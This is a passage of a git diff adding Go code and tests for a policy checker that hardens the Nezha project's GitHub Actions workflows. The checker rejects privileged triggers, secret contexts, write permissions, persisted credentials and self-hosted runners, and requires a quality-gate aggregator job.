requireTypedPolicyError(t, err, workflowpolicy.RuleRepositoryNotLiteral) + require.ErrorContains(t, err, "checkout ref must be a nonempty literal") + }) + } +} + +func TestPolicy_RejectsPullRequestTarget(t *testing.T) { + assertFixtureRejected(t, rejected("pull-request-target.yml", workflowpolicy.RulePrivilegedTrigger, "pull_request_target")) +} + +func TestPolicy_RejectsPrivilegedWorkflowRun(t *testing.T) { + assertFixtureRejected(t, rejected("workflow-run.yml", workflowpolicy.RulePrivilegedTrigger, "workflow_run")) +} + +func TestPolicy_RejectsSecretContext(t *testing.T) { + assertFixtureRejected(t, rejected("secret-context.yml", workflowpolicy.RuleSecretContext, "secrets")) +} + +func TestPolicy_RejectsAggregateSecretContext(t *testing.T) { + assertFixtureRejected(t, rejected("aggregate-secret-context.yml", workflowpolicy.RuleSecretContext, "secrets")) +} + +func TestPolicy_RejectsWritePermission(t *testing.T) { + assertFixtureRejected(t, rejected("write-permission.yml", workflowpolicy.RuleWritePermission, "contents")) +} + +func TestPolicy_RejectsIDTokenPermission(t *testing.T) { + assertFixtureRejected(t, rejected("id-token-write.yml", workflowpolicy.RuleWritePermission, "id-token")) +} + +func TestPolicy_RejectsMissingRootPermissions(t *testing.T) { + assertFixtureRejected(t, rejected("missing-root-permissions.yml", workflowpolicy.RuleWritePermission, "root permissions")) +} + +func TestPolicy_RejectsPermissionsSequence(t *testing.T) { + assertFixtureRejected(t, rejected("permissions-sequence.yml", workflowpolicy.RuleWritePermission, "mapping")) +} + +func TestPolicy_RejectsQuotedFalsePersistCredentials(t *testing.T) { + assertFixtureRejected(t, rejected("quoted-false-security-controls.yml", workflowpolicy.RulePersistCredentials, "boolean")) +} + +func TestPolicy_RejectsFractionalTimeout(t *testing.T) { + assertFixtureRejected(t, rejected("numeric-timeout.yml", workflowpolicy.RuleMissingJobTimeout, "positive literal")) +} + +func TestPolicy_RejectsNonScalarPermissionValue(t *testing.T) { + assertFixtureRejected(t, rejected("mapping-permission-value.yml", workflowpolicy.RuleWritePermission, "read or none")) +} + +func TestPolicy_RejectsNonMappingUsesStep(t *testing.T) { + assertFixtureRejected(t, rejected("nonmapping-uses.yml", workflowpolicy.RuleWorkflowStructure, "string action reference")) +} + +func TestPolicy_RejectsNonStringUsesReference(t *testing.T) { + assertFixtureRejected(t, rejected("boolean-uses.yml", workflowpolicy.RuleWorkflowStructure, "string action reference")) +} + +func TestPolicy_RejectsMutableRepositoryInput(t *testing.T) { + assertFixtureRejected(t, rejected("unapproved-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "attacker/fork")) +} + +func TestPolicy_RejectsNonliteralRepository(t *testing.T) { + assertFixtureRejected(t, rejected("nonliteral-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal")) +} + +func TestPolicy_RejectsMissingPersistCredentialsFalse(t *testing.T) { + assertFixtureRejected(t, rejected("missing-persist-credentials.yml", workflowpolicy.RulePersistCredentials, "persist-credentials")) +} + +func TestPolicy_RejectsPersistCredentialsTrue(t *testing.T) { + assertFixtureRejected(t, rejected("persist-credentials-true.yml", workflowpolicy.RulePersistCredentials, "false")) +} + +func TestPolicy_RejectsMalformedYAML(t *testing.T) { + // Given + path := fixturePath(t, "malformed.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha) + + // Then + var parseError *workflowpolicy.ParseError + require.ErrorAs(t, err, &parseError) + require.Contains(t, err.Error(), "parse workflow") +} + +func TestPolicy_RejectsDuplicateKeys(t *testing.T) { + // Given + path := fixturePath(t, "duplicate-jobs.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha) + + // Then + var parseError *workflowpolicy.ParseError + require.ErrorAs(t, err, &parseError) + require.Contains(t, err.Error(), "duplicate key") +} + +func TestPolicy_RejectsYAMLAlias(t *testing.T) { + // Given + path := fixturePath(t, "yaml-alias.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha) + + // Then + var parseError *workflowpolicy.ParseError + require.ErrorAs(t, err, &parseError) + require.Contains(t, err.Error(), "aliases are not allowed") +} + +func TestPolicy_RejectsTrailingEmptyYAMLDocument(t *testing.T) { + assertFixtureParseRejected(t, "trailing-empty-document.yml", "multiple YAML documents") +} + +func TestPolicy_RejectsBareYAMLAnchor(t *testing.T) { + assertFixtureParseRejected(t, "bare-anchor.yml", "anchors are not allowed") +} + +func TestPolicy_RejectsMalformedStepValues(t *testing.T) { + for _, fixture := range []string{"empty-step.yml", "empty-run.yml", "nonstring-run.yml", "empty-uses.yml"} { + t.Run(fixture, func(t *testing.T) { + assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleWorkflowStructure, "step")) + }) + } +} + +func TestPolicy_RejectsSecretTokenSources(t *testing.T) { + for _, fixture := range []string{"github-token.yml", "github-token-environment.yml"} { + t.Run(fixture, func(t *testing.T) { + assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleSecretContext, "token")) + }) + } +} + +func TestPolicy_RejectsNonBooleanConcurrencyCancellation(t *testing.T) { + assertFixtureRejected(t, rejected("nonboolean-concurrency-cancel.yml", workflowpolicy.RuleMissingConcurrency, "boolean")) +} + +func TestPolicy_RejectsMissingJobs(t *testing.T) { + assertFixtureRejected(t, rejected("missing-jobs.yml", workflowpolicy.RuleWorkflowStructure, "nonempty mapping")) +} + +func TestPolicy_RejectsNonmappingStep(t *testing.T) { + assertFixtureRejected(t, rejected("nonmapping-step.yml", workflowpolicy.RuleWorkflowStructure, "step must be a mapping")) +} + +func TestPolicy_RejectsNonsequenceSteps(t *testing.T) { + assertFixtureRejected(t, rejected("nonsequence-steps.yml", workflowpolicy.RuleWorkflowStructure, "steps must be a sequence")) +} + +func TestPolicy_MissingFutureWorkflowReturnsTypedReadError(t *testing.T) { + // Given + path := filepath.Join(t.TempDir(), "agent-compatibility.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha) + + // Then + var readError *workflowpolicy.ReadError + require.ErrorAs(t, err, &readError) + require.ErrorIs(t, err, os.ErrNotExist) +} + +func TestPolicy_RejectsUnsupportedRepositoryBeforeWorkflowChecks(t *testing.T) { + // Given + data, err := os.ReadFile(fixturePath(t, "secure-nezha.yml")) + require.NoError(t, err) + + // When + err = workflowpolicy.Verify(data, workflowpolicy.Repository("attacker/fork")) + + // Then + var policyError *workflowpolicy.PolicyError + require.ErrorAs(t, err, &policyError) + require.True(t, policyError.Has(workflowpolicy.RuleRepositoryNotAllowed)) +} + +type rejectionExpectation struct { + fixture string + repository workflowpolicy.Repository + rule workflowpolicy.Rule + diagnostic string +} + +func rejected(fixture string, rule workflowpolicy.Rule, diagnostic string) rejectionExpectation { + return rejectionExpectation{fixture: fixture, repository: workflowpolicy.RepositoryNezha, rule: rule, diagnostic: diagnostic} +} + +func assertFixtureRejected(t *testing.T, expectation rejectionExpectation) { + t.Helper() + + // Given + path := fixturePath(t, expectation.fixture) + + // When + err := workflowpolicy.VerifyFile(path, expectation.repository) + + // Then + var policyError *workflowpolicy.PolicyError + require.ErrorAs(t, err, &policyError) + require.True(t, policyError.Has(expectation.rule), "diagnostic: %v", err) + require.Contains(t, err.Error(), expectation.diagnostic) +} + +func assertFixtureParseRejected(t *testing.T, fixture string, diagnostic string) { + t.Helper() + err := workflowpolicy.VerifyFile(fixturePath(t, fixture), workflowpolicy.RepositoryNezha) + var parseError *workflowpolicy.ParseError + require.ErrorAs(t, err, &parseError) + require.Contains(t, err.Error(), diagnostic) +} + +func fixturePath(t *testing.T, name string) string { + t.Helper() + return filepath.Join("testdata", name) +} + +func mappingNodeValue(node *yaml.Node, key string) *yaml.Node { + for index := 0; index < len(node.Content); index += 2 { + if node.Content[index].Value == key { + return node.Content[index+1] + } + } + return nil +} + +func scalarValues(node *yaml.Node) []string { + values := make([]string, 0, len(node.Content)) + for _, child := range node.Content { + values = append(values, child.Value) + } + return values +} + +func requireTypedPolicyError(t *testing.T, err error, rule workflowpolicy.Rule) *workflowpolicy.PolicyError { + t.Helper() + var policyError *workflowpolicy.PolicyError + require.True(t, errors.As(err, &policyError), "expected typed policy error, got %T: %v", err, err) + require.True(t, policyError.Has(rule), "diagnostic: %v", err) + return policyError +} diff --git a/integration/agentcompat/internal/workflowpolicy/quality_workflow_test.go b/integration/agentcompat/internal/workflowpolicy/quality_workflow_test.go new file mode 100644 index 00000000..8192e58a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/quality_workflow_test.go @@ -0,0 +1,194 @@ +package workflowpolicy_test + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" + "github.com/stretchr/testify/require" + "gopkg.in/yaml.v3" +) + +func TestPolicy_NezhaQualityWorkflow(t *testing.T) { + // Given + path := filepath.Join(repositoryRoot(t), ".github", "workflows", "test.yml") + data, err := os.ReadFile(path) + require.NoError(t, err) + require.NoError(t, workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha)) + var document yaml.Node + require.NoError(t, yaml.Unmarshal(data, &document)) + root := document.Content[0] + var workflow qualityWorkflow + require.NoError(t, yaml.Unmarshal(data, &workflow)) + + // When + jobs := mappingNodeValue(root, "jobs") + aggregator := mappingNodeValue(jobs, "nezha-quality-required") + needs := mappingNodeValue(aggregator, "needs") + + // Then + triggers := mappingNodeValue(root, "on") + require.NotNil(t, mappingNodeValue(triggers, "merge_group")) + require.Equal(t, []string{"master"}, workflow.Triggers.Push.Branches) + require.Empty(t, workflow.Triggers.Push.Paths) + require.Equal(t, []string{"master"}, workflow.Triggers.PullRequest.Branches) + require.Empty(t, workflow.Triggers.PullRequest.Paths) + require.Equal(t, map[string]string{"contents": "read"}, workflow.Permissions) + require.NotEmpty(t, workflow.Concurrency.Group) + require.NotNil(t, workflow.Concurrency.CancelInProgress) + require.True(t, *workflow.Concurrency.CancelInProgress) + require.Len(t, workflow.Jobs, 4) + + ordinaryJob := workflow.Jobs["tests"] + require.Equal(t, []string{"ubuntu-latest", "windows-latest", "macos-latest"}, ordinaryJob.Strategy.Matrix.OS) + require.NotNil(t, ordinaryJob.Strategy.FailFast) + require.False(t, *ordinaryJob.Strategy.FailFast) + require.Equal(t, "${{ matrix.os }}", ordinaryJob.RunsOn) + require.Equal(t, 30, ordinaryJob.TimeoutMinutes) + requireCheckoutAndSetupGo(t, ordinaryJob.Steps) + require.Equal(t, strings.Join([]string{ + "go install github.com/swaggo/swag/cmd/swag@v1.16.6", + "touch ./cmd/dashboard/user-dist/a", + "touch ./cmd/dashboard/admin-dist/a", + "swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs", + }, "\n"), strings.TrimSpace(ordinaryJob.stepNamed(t, "Generate Swagger docs").Run)) + require.Equal(t, "go test -mod=readonly -count=1 ./...", ordinaryJob.stepNamed(t, "Unit test").Run) + require.Equal(t, "go build -v ./cmd/dashboard", ordinaryJob.stepNamed(t, "Build dashboard").Run) + + linuxJob := workflow.Jobs["linux-race-quality"] + require.Equal(t, "ubuntu-24.04", linuxJob.RunsOn) + require.Equal(t, 45, linuxJob.TimeoutMinutes) + requireCheckoutAndSetupGo(t, linuxJob.Steps) + require.Equal(t, ordinaryJob.stepNamed(t, "Generate Swagger docs").Run, linuxJob.stepNamed(t, "Generate Swagger docs").Run) + require.Equal(t, "go test -mod=readonly -race -shuffle=on -count=1 ./...", linuxJob.stepNamed(t, "Race and shuffle tests").Run) + require.Equal(t, "go vet ./...", linuxJob.stepNamed(t, "Vet").Run) + require.Equal(t, "test -z \"$(git ls-files -co --exclude-standard '*.go' -z | xargs -0 gofmt -l)\"", linuxJob.stepNamed(t, "Check formatting").Run) + require.Equal(t, "go build ./cmd/dashboard", linuxJob.stepNamed(t, "Build dashboard").Run) + gosecStep := linuxJob.stepNamed(t, "Run Gosec Security Scanner") + require.Equal(t, "auto", gosecStep.Env.GoToolchain) + require.Equal(t, strings.Join([]string{ + "go install github.com/securego/gosec/v2/cmd/gosec@v2.27.1", + "gosec --exclude=G104,G115,G117,G203,G402,G703,G704 ./...", + }, "\n"), strings.TrimSpace(gosecStep.Run)) + + require.Len(t, scalarValues(needs), 3) + require.ElementsMatch(t, []string{"tests", "linux-race-quality", "agentcompat-stress"}, scalarValues(needs)) + require.Equal(t, "nezha-quality-required", workflow.Jobs["nezha-quality-required"].Name) + require.Equal(t, "${{ always() }}", mappingNodeValue(aggregator, "if").Value) + steps := mappingNodeValue(aggregator, "steps") + require.Len(t, steps.Content, 1) + require.Equal(t, strings.Join([]string{ + "test \"${{ needs.tests.result }}\" = success", + "test \"${{ needs.linux-race-quality.result }}\" = success", + "test \"${{ needs.agentcompat-stress.result }}\" = success", + }, "\n"), strings.TrimSpace(mappingNodeValue(steps.Content[0], "run").Value)) +} + +type qualityWorkflow struct { + Triggers qualityTriggers `yaml:"on"` + Permissions map[string]string `yaml:"permissions"` + Concurrency qualityConcurrency `yaml:"concurrency"` + Jobs map[string]qualityJob `yaml:"jobs"` +} + +type qualityTriggers struct { + Push qualityBranchTrigger `yaml:"push"` + PullRequest qualityBranchTrigger `yaml:"pull_request"` +} + +type qualityBranchTrigger struct { + Branches []string `yaml:"branches"` + Paths []string `yaml:"paths"` +} + +type qualityConcurrency struct { + Group string `yaml:"group"` + CancelInProgress *bool `yaml:"cancel-in-progress"` +} + +type qualityJob struct { + Name string `yaml:"name"` + Strategy qualityStrategy `yaml:"strategy"` + RunsOn string `yaml:"runs-on"` + TimeoutMinutes int `yaml:"timeout-minutes"` + Steps []qualityStep `yaml:"steps"` +} + +type qualityStrategy struct { + FailFast *bool `yaml:"fail-fast"` + Matrix qualityMatrix `yaml:"matrix"` +} + +type qualityMatrix struct { + OS []string `yaml:"os"` +} + +type qualityStep struct { + Name string `yaml:"name"` + Uses string `yaml:"uses"` + Run string `yaml:"run"` + WorkingDirectory string `yaml:"working-directory"` + Env qualityEnv `yaml:"env"` + With qualityWith `yaml:"with"` +} + +type qualityEnv struct { + GoToolchain string `yaml:"GOTOOLCHAIN"` + AgentcompatNezhaSource string `yaml:"AGENTCOMPAT_NEZHA_SOURCE"` + AgentcompatAgentSource string `yaml:"AGENTCOMPAT_AGENT_SOURCE"` +} + +type qualityWith struct { + PersistCredentials *bool `yaml:"persist-credentials"` + GoVersion string `yaml:"go-version"` + Cache *bool `yaml:"cache"` + Repository string `yaml:"repository"` + Ref string `yaml:"ref"` + Path string `yaml:"path"` +} + +func (j qualityJob) stepNamed(t *testing.T, name string) qualityStep { + t.Helper() + for _, step := range j.Steps { + if step.Name == name { + return step + } + } + t.Fatalf("workflow job is missing step %q", name) + return qualityStep{} +} + +func requireCheckoutAndSetupGo(t *testing.T, steps []qualityStep) { + t.Helper() + require.GreaterOrEqual(t, len(steps), 2) + checkout := steps[0] + require.Equal(t, "actions/checkout@v7.0.1", checkout.Uses) + require.NotNil(t, checkout.With.PersistCredentials) + require.False(t, *checkout.With.PersistCredentials) + setupGo := steps[1] + require.Equal(t, "actions/setup-go@v7", setupGo.Uses) + require.Equal(t, "1.26.x", setupGo.With.GoVersion) + require.NotNil(t, setupGo.With.Cache) + require.False(t, *setupGo.With.Cache) +} + +func TestPolicy_AcceptsWorkflowWithoutTestsOrRequiredAggregator(t *testing.T) { + // Given + data, err := os.ReadFile(fixturePath(t, "quality-only.yml")) + require.NoError(t, err) + + // When + err = workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha) + + // Then + require.NoError(t, err) +} + +func readNezhaQualityWorkflow(t *testing.T) []byte { + t.Helper() + data, err := os.ReadFile(filepath.Join(repositoryRoot(t), ".github", "workflows", "test.yml")) + require.NoError(t, err) + return data +} diff --git a/integration/agentcompat/internal/workflowpolicy/repository_root_test.go b/integration/agentcompat/internal/workflowpolicy/repository_root_test.go new file mode 100644 index 00000000..e0997766 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/repository_root_test.go @@ -0,0 +1,144 @@ +package workflowpolicy_test + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/require" + "golang.org/x/mod/modfile" +) + +const nezhaModulePath = "github.com/nezhahq/nezha" + +func TestRepositoryRoot_FindsModuleAcrossLineEndings(t *testing.T) { + tests := []struct { + name string + start string + parents map[string]string + goModules map[string][]byte + wantRoot string + }{ + { + name: "LF module directive", + start: "/workspace/nezha/integration/agentcompat/internal/workflowpolicy", + parents: map[string]string{ + "/workspace/nezha/integration/agentcompat/internal/workflowpolicy": "/workspace/nezha/integration/agentcompat/internal", + "/workspace/nezha/integration/agentcompat/internal": "/workspace/nezha/integration/agentcompat", + "/workspace/nezha/integration/agentcompat": "/workspace/nezha/integration", + "/workspace/nezha/integration": "/workspace/nezha", + "/workspace/nezha": "/workspace", + }, + goModules: map[string][]byte{"/workspace/nezha": []byte("// Nezha Dashboard\nmodule " + nezhaModulePath + "\ngo 1.26.3\n")}, + wantRoot: "/workspace/nezha", + }, + { + name: "CRLF module directive at Windows root", + start: `D:\work\nezha\integration\agentcompat\internal\workflowpolicy`, + parents: map[string]string{ + `D:\work\nezha\integration\agentcompat\internal\workflowpolicy`: `D:\work\nezha\integration\agentcompat\internal`, + `D:\work\nezha\integration\agentcompat\internal`: `D:\work\nezha\integration\agentcompat`, + `D:\work\nezha\integration\agentcompat`: `D:\work\nezha\integration`, + `D:\work\nezha\integration`: `D:\work\nezha`, + `D:\work\nezha`: `D:\work`, + `D:\work`: `D:\`, + `D:\`: `D:\`, + }, + goModules: map[string][]byte{`D:\work\nezha`: []byte("// Nezha Dashboard\r\nmodule " + nezhaModulePath + "\r\ngo 1.26.3\r\n")}, + wantRoot: `D:\work\nezha`, + }, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + // Given + readGoModule := func(directory string) ([]byte, error) { + goModule, exists := test.goModules[directory] + if !exists { + return nil, os.ErrNotExist + } + return goModule, nil + } + parentDirectory := func(directory string) string { + parent, exists := test.parents[directory] + require.True(t, exists, "parent of %q must be defined", directory) + return parent + } + + // When + actualRoot, err := findNezhaRepositoryRoot(test.start, readGoModule, parentDirectory) + + // Then + require.NoError(t, err) + require.Equal(t, test.wantRoot, actualRoot) + }) + } +} + +func TestRepositoryRoot_ReturnsUsefulErrorAtFilesystemRoot(t *testing.T) { + // Given + const windowsRoot = `D:\` + parentCalls := 0 + + // When + actualRoot, err := findNezhaRepositoryRoot(windowsRoot, func(string) ([]byte, error) { + return nil, os.ErrNotExist + }, func(directory string) string { + parentCalls++ + return directory + }) + + // Then + require.Empty(t, actualRoot) + require.Error(t, err) + require.ErrorContains(t, err, "repository root containing module \"github.com/nezhahq/nezha\" was not found") + require.ErrorContains(t, err, windowsRoot) + require.Equal(t, 1, parentCalls) +} + +func repositoryRoot(t *testing.T) string { + t.Helper() + workingDirectory, err := os.Getwd() + require.NoError(t, err) + root, err := findNezhaRepositoryRoot(workingDirectory, func(directory string) ([]byte, error) { + return os.ReadFile(filepath.Join(directory, "go.mod")) + }, filepath.Dir) + require.NoError(t, err) + return root +} + +func findNezhaRepositoryRoot(start string, readGoModule func(string) ([]byte, error), parentDirectory func(string) string) (string, error) { + current := start + for { + goModule, err := readGoModule(current) + if err == nil { + modulePath, parseErr := modulePathFromGoMod(goModule) + if parseErr != nil { + return "", fmt.Errorf("parse go.mod in %q: %w", current, parseErr) + } + if modulePath == nezhaModulePath { + return current, nil + } + } + if err != nil && !errors.Is(err, os.ErrNotExist) { + return "", fmt.Errorf("read go.mod in %q: %w", current, err) + } + parent := parentDirectory(current) + if current == parent { + return "", fmt.Errorf("repository root containing module %q was not found from %q", nezhaModulePath, start) + } + current = parent + } +} + +func modulePathFromGoMod(goModule []byte) (string, error) { + moduleFile, err := modfile.Parse("go.mod", goModule, nil) + if err != nil { + return "", err + } + if moduleFile.Module == nil { + return "", fmt.Errorf("module directive is missing") + } + return moduleFile.Module.Mod.Path, nil +} diff --git a/integration/agentcompat/internal/workflowpolicy/required_aggregator.go b/integration/agentcompat/internal/workflowpolicy/required_aggregator.go new file mode 100644 index 00000000..7fb478e4 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/required_aggregator.go @@ -0,0 +1,86 @@ +package workflowpolicy + +import ( + "strings" + + "gopkg.in/yaml.v3" +) + +func (c *checker) checkRequiredAggregator(jobs *yaml.Node) { + aggregatorName := map[Repository]string{ + RepositoryAgent: "agent-quality-required", RepositoryNezha: "nezha-quality-required", + }[c.repository] + if aggregatorName == "" { + return + } + _, hasTestsJob := mappingValue(jobs, "tests") + _, hasQualityJob := mappingValue(jobs, "linux-race-quality") + if !hasTestsJob || !hasQualityJob { + return + } + requiredJobs := []string{"tests", "linux-race-quality", "agentcompat-stress"} + aggregator, hasAggregator := mappingValue(jobs, aggregatorName) + if !hasAggregator || aggregator.Kind != yaml.MappingNode { + c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName, jobs), "required quality aggregator is missing") + return + } + needs, hasNeeds := mappingValue(aggregator, "needs") + if !hasNeeds || !hasExactRequiredNeeds(needs, requiredJobs) { + c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".needs", aggregator), "required quality aggregator needs must include every blocking job exactly once") + } + condition, hasCondition := mappingValue(aggregator, "if") + if !hasCondition || !isAlwaysCondition(condition) { + c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".if", aggregator), "required quality aggregator must use if: always()") + } + steps, hasSteps := mappingValue(aggregator, "steps") + if !hasSteps || !hasRequiredSuccessChecks(steps, requiredJobs) { + c.reject(RuleWorkflowStructure, at("$.jobs."+aggregatorName+".steps", aggregator), "required quality aggregator must test every blocking job result for success") + } +} + +func hasExactRequiredNeeds(node *yaml.Node, requiredJobs []string) bool { + if node == nil || node.Kind != yaml.SequenceNode || len(node.Content) != len(requiredJobs) { + return false + } + required := make(map[string]struct{}, len(requiredJobs)) + for _, jobName := range requiredJobs { + required[jobName] = struct{}{} + } + for _, valueNode := range node.Content { + value, literal := scalarString(valueNode) + if !literal { + return false + } + delete(required, value) + } + return len(required) == 0 +} + +func isAlwaysCondition(node *yaml.Node) bool { + condition, literal := scalarString(node) + condition = strings.TrimSpace(condition) + return literal && (condition == "always()" || condition == "${{ always() }}") +} + +func hasRequiredSuccessChecks(steps *yaml.Node, requiredJobs []string) bool { + if steps == nil || steps.Kind != yaml.SequenceNode || len(steps.Content) != 1 { + return false + } + run, hasRun := mappingValue(steps.Content[0], "run") + command, literal := scalarString(run) + if !hasRun || !literal { + return false + } + lines := strings.Split(strings.TrimSpace(command), "\n") + if len(lines) != len(requiredJobs) { + return false + } + requiredChecks := make(map[string]struct{}, len(requiredJobs)) + for _, jobName := range requiredJobs { + requiredChecks[`test "${{ needs.`+jobName+`.result }}" = success`] = struct{}{} + } + for _, line := range lines { + delete(requiredChecks, strings.TrimSpace(line)) + } + return len(requiredChecks) == 0 +} diff --git a/integration/agentcompat/internal/workflowpolicy/required_aggregator_test.go b/integration/agentcompat/internal/workflowpolicy/required_aggregator_test.go new file mode 100644 index 00000000..80c470fb --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/required_aggregator_test.go @@ -0,0 +1,144 @@ +package workflowpolicy_test + +import ( + "os" + "strings" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" + "github.com/stretchr/testify/require" +) + +func TestPolicy_RejectsMissingRequiredDependency(t *testing.T) { + // Given + data, err := os.ReadFile(fixturePath(t, "missing-required-dependency.yml")) + require.NoError(t, err) + + // When + err = workflowpolicy.Verify(data, workflowpolicy.RepositoryNezha) + + // Then + var policyError *workflowpolicy.PolicyError + require.ErrorAs(t, err, &policyError) + require.True(t, policyError.Has(workflowpolicy.RuleWorkflowStructure)) +} + +func TestPolicy_RejectsInvalidRequiredAggregator(t *testing.T) { + workflowData := readNezhaQualityWorkflow(t) + workflowVariants := []struct { + name string + data []byte + }{ + {name: "LF", data: workflowData}, + {name: "CRLF", data: []byte(workflowWithCRLF(string(workflowData)))}, + } + tests := []struct { + name string + currentText string + invalidText string + }{ + { + name: "missing tests dependency", + currentText: "needs:\n - tests\n - linux-race-quality\n - agentcompat-stress", + invalidText: "needs:\n - linux-race-quality\n - agentcompat-stress", + }, + { + name: "extra dependency", + currentText: " - agentcompat-stress\n runs-on:", + invalidText: " - agentcompat-stress\n - unrelated-job\n runs-on:", + }, + { + name: "missing stress dependency", + currentText: " - linux-race-quality\n - agentcompat-stress", + invalidText: " - linux-race-quality", + }, + { + name: "missing always condition", + currentText: "if: ${{ always() }}", + invalidText: "if: ${{ success() }}", + }, + { + name: "tests result only mentioned", + currentText: "test \"${{ needs.tests.result }}\" = success", + invalidText: "printf '%s success\\n' \"${{ needs.tests.result }}\"", + }, + { + name: "quality result only mentioned", + currentText: "test \"${{ needs.linux-race-quality.result }}\" = success", + invalidText: "printf '%s success\\n' \"${{ needs.linux-race-quality.result }}\"", + }, + { + name: "stress result only mentioned", + currentText: "test \"${{ needs.agentcompat-stress.result }}\" = success", + invalidText: "printf '%s success\\n' \"${{ needs.agentcompat-stress.result }}\"", + }, + { + name: "success checks defined but not executed", + currentText: strings.Join([]string{ + "test \"${{ needs.tests.result }}\" = success", + "test \"${{ needs.linux-race-quality.result }}\" = success", + "test \"${{ needs.agentcompat-stress.result }}\" = success", + }, "\n "), + invalidText: strings.Join([]string{ + "check_results() {", + " test \"${{ needs.tests.result }}\" = success", + " test \"${{ needs.linux-race-quality.result }}\" = success", + " test \"${{ needs.agentcompat-stress.result }}\" = success", + "}", + }, "\n "), + }, + } + for _, variant := range workflowVariants { + t.Run(variant.name, func(t *testing.T) { + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + // Given + invalidWorkflow := mutateWorkflow(t, variant.data, test.currentText, test.invalidText) + + // When + err := workflowpolicy.Verify([]byte(invalidWorkflow), workflowpolicy.RepositoryNezha) + + // Then + var policyError *workflowpolicy.PolicyError + require.ErrorAs(t, err, &policyError) + require.True(t, policyError.Has(workflowpolicy.RuleWorkflowStructure)) + }) + } + }) + } +} + +func TestWorkflowWithCRLF_PreservesExistingCRLF(t *testing.T) { + // Given + workflow := "first\r\nsecond\r\n" + + // When + converted := workflowWithCRLF(workflow) + + // Then + require.Equal(t, workflow, converted) +} + +func workflowWithCRLF(workflow string) string { + // Normalize first so Windows checkouts are not expanded from CRLF to CRCRLF. + workflow = strings.ReplaceAll(workflow, "\r\n", "\n") + return strings.ReplaceAll(workflow, "\n", "\r\n") +} + +func mutateWorkflow(t *testing.T, data []byte, currentText, invalidText string) string { + t.Helper() + workflow := string(data) + lineEnding := "\n" + if strings.Contains(workflow, "\r\n") { + // Windows checkouts preserve CRLF, so multiline mutation snippets must use the source line ending. + lineEnding = "\r\n" + } + currentText = strings.ReplaceAll(currentText, "\n", lineEnding) + invalidText = strings.ReplaceAll(invalidText, "\n", lineEnding) + require.Equal(t, 1, strings.Count(workflow, currentText), "workflow mutation must match current content exactly once") + return strings.Replace(workflow, currentText, invalidText, 1) +} + +func TestPolicy_RejectsMissingRequiredAggregator(t *testing.T) { + assertFixtureRejected(t, rejected("missing-required-aggregator.yml", workflowpolicy.RuleWorkflowStructure, "aggregator is missing")) +} diff --git a/integration/agentcompat/internal/workflowpolicy/runner.go b/integration/agentcompat/internal/workflowpolicy/runner.go new file mode 100644 index 00000000..a6c830f4 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/runner.go @@ -0,0 +1,92 @@ +package workflowpolicy + +import ( + "regexp" + "strings" + + "gopkg.in/yaml.v3" +) + +var matrixRunnerPattern = regexp.MustCompile(`^\$\{\{\s*matrix\.([A-Za-z0-9_-]+)\s*\}\}$`) +var githubHostedRunnerPattern = regexp.MustCompile(`^(?:ubuntu|windows|macos)(?:-[A-Za-z0-9.]+)?$`) + +func (c *checker) checkRunner(jobPath string, job *yaml.Node) { + runner, exists := mappingValue(job, "runs-on") + if !exists { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", job), "jobs must declare a literal GitHub-hosted runner") + return + } + if containsScalar(runner, "self-hosted") { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "self-hosted runners are forbidden") + return + } + if runner.Kind == yaml.SequenceNode { + if containsExpression(runner) || !allGitHubHostedLabels(runner) { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on entries must be literal GitHub-hosted labels") + } + return + } + runnerValue, literal := scalarString(runner) + if !literal { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must be a literal GitHub-hosted runner or static matrix axis") + return + } + if !strings.Contains(runnerValue, "${{") { + if !githubHostedRunnerPattern.MatchString(runnerValue) { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must use a GitHub-hosted runner") + } + return + } + matrixMatch := matrixRunnerPattern.FindStringSubmatch(runnerValue) + if len(matrixMatch) != 2 { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on must be a literal GitHub-hosted runner or static matrix axis") + return + } + strategy, hasStrategy := mappingValue(job, "strategy") + matrix, hasMatrix := mappingValue(strategy, "matrix") + if include, hasInclude := mappingValue(matrix, "include"); hasInclude { + c.reject(RuleSelfHostedRunner, at(jobPath+".strategy.matrix.include", include), "matrix include is forbidden for runner selection") + return + } + runnerAxis, hasRunnerAxis := mappingValue(matrix, matrixMatch[1]) + if !hasStrategy || !hasMatrix || !hasRunnerAxis || containsExpression(runnerAxis) || !allGitHubHostedLabels(runnerAxis) { + c.reject(RuleSelfHostedRunner, at(jobPath+".runs-on", runner), "runs-on matrix axis must contain only literal GitHub-hosted labels") + return + } + if containsScalar(runnerAxis, "self-hosted") { + c.reject(RuleSelfHostedRunner, at(jobPath+".strategy.matrix."+matrixMatch[1], runnerAxis), "self-hosted runners are forbidden") + 